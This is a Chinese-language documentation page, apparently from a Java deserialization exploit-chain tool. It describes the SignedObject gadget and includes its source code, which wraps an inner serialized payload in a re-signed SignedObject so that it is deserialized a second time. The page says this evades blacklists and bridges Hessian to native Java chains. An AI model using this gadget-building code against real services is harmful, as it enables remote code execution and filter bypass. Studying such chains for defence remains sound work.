Skip to content

Latest commit

 

History

History
70 lines (60 loc) · 5.8 KB

File metadata and controls

70 lines (60 loc) · 5.8 KB

SignedObject二次反序列化(SignedObject)

  • 类别:javanative 别名:— 优先级:30
  • 作者:—
  • 依赖jdk:java.security.SignedObject(JDK 内置,无需第三方库)

作用

把内层链的序列化字节流塞进一个 java.security.SignedObjectcontent 字段,使其在被调用 getObject() 时对该字节流执行一次新的 Java 原生反序列化。是最常用的「二次反序列化」桥接构件:因为内层 Payload 以字节流形式存放,可绕过外层针对具体危险类的黑名单;尤其适用于 Hessian 反序列化场景,在 Hessian 与 Java 原生反序列化之间架桥,从而绕开 Hessian 下 TemplatesImpl 无法直接触发的限制。

链接标签

  • 入口 tagsSignedObjectChainGetter —— Getter 表示本 gadget 通过一个 getter 方法(getObject)被触发,需由「能调用任意 getter」的上游承接(如 CommonsBeanutils1BeanComparatorRomeToStringBean)。
  • 衔接 nextTagsJavaNativeDeserializePayloadCustomJavaDeserialize —— 之后内嵌的是被二次反序列化的完整字节流(第二段 Java 原生链)。
  • excludes:无。

源码剖析

String paramName = "object";
String methodName = "getObject";

public Object getObject(Object obj) throws Exception {
    KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
    keyPairGenerator.initialize(1024);
    KeyPair keyPair = keyPairGenerator.genKeyPair();
    PrivateKey privateKey = keyPair.getPrivate();
    Signature signingEngine = Signature.getInstance("DSA");
    java.security.SignedObject signedObject =
        new java.security.SignedObject(Integer.valueOf(1), privateKey, signingEngine);
    Reflections.setFieldValue(signedObject, "content", CommonMethod.handleSerialized(obj));
    Reflections.getMethod(signedObject, "sign", new Class[]{PrivateKey.class, Signature.class})
        .invoke(signedObject, privateKey, signingEngine);
    return signedObject;
}
  • 先用 DSA 生成一对密钥,构造一个内容无害(Integer.valueOf(1))的合法 SignedObject——这样对象自身能正常通过序列化。
  • 关键:Reflections.setFieldValue(signedObject, "content", CommonMethod.handleSerialized(obj))CommonMethod.handleSerialized(obj) 把内层链产物先序列化为 byte[],再反射写入 content 字段,替换掉原本无害的内容字节。
  • 随后反射调用私有的 sign(PrivateKey, Signature) 方法,对新的 content 重新签名,使 signedObject 内部签名与被篡改的 content 一致(避免验签环节异常)。
  • 反序列化侧:当上游 getter 触发 SignedObject.getObject() 时,该方法内部对 content 字节流执行 ObjectInputStream.readObject()——这就是第二次反序列化的触发点,内层链在此被真正解开。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object object = chain.doCreate(context);
    context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.paramName);      // "object" → 上游要调 getObject
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName);   // "getObject"
    context.put(ContextTag.SUPER_CLASS_NAME_KEY, java.security.SignedObject.class);
    return this.getObject(object);
}
  • 通过 context 向上游注入三项信息:GETTER_PARAM_NAME_KEY="object"(告诉 BeanComparator 类 getter 要调用的属性名,即 getObject)、SPECIAL_METHOD_NAME_KEY="getObject"SUPER_CLASS_NAME_KEY=SignedObject.class(供上游确定代理/载体类型)。这使得像 CommonsBeanutils1 这样的「任意 getter」上游能自动配到 getObject 上。

参数(@Param)

本类无 @Param,无用户可配字段(paramNamemethodName 为固定内部字段)。

适用版本与原理要点

  • 依赖纯 JDK 类 java.security.SignedObject,无需第三方库;优先级 30。
  • 二次反序列化价值:内层危险类以字节流承载,外层第一次反序列化时不可见,绕过基于类名的黑名单/白名单。
  • Hessian 桥接:Hessian 反序列化本身难以直接触发 TemplatesImpl.newTransformer,通过 SignedObject 切回 Java 原生反序列化后即可释放完整的 Java 链能力(见下列 Hessian 预设链)。
  • 触发方式为 getter(getObject),因此上游需具备「调用任意 getter」能力(CommonsBeanutils1RomeToStringBean 等)。

所属预设链

关联

  • 上游(tags=Getter):CommonsBeanutils1、Rome 系列(Rome1/Rome2)的 ToStringBean、Fastjson/Jackson 的 ToString 触发器。
  • 下游(nextTags=JavaNativeDeserializePayload):JavaNativeSerialization 之后接第二段完整 Java 原生链。
  • 同族二次反序列化桥接:RMIConnectorconnect() 特殊方法触发,非 getter)。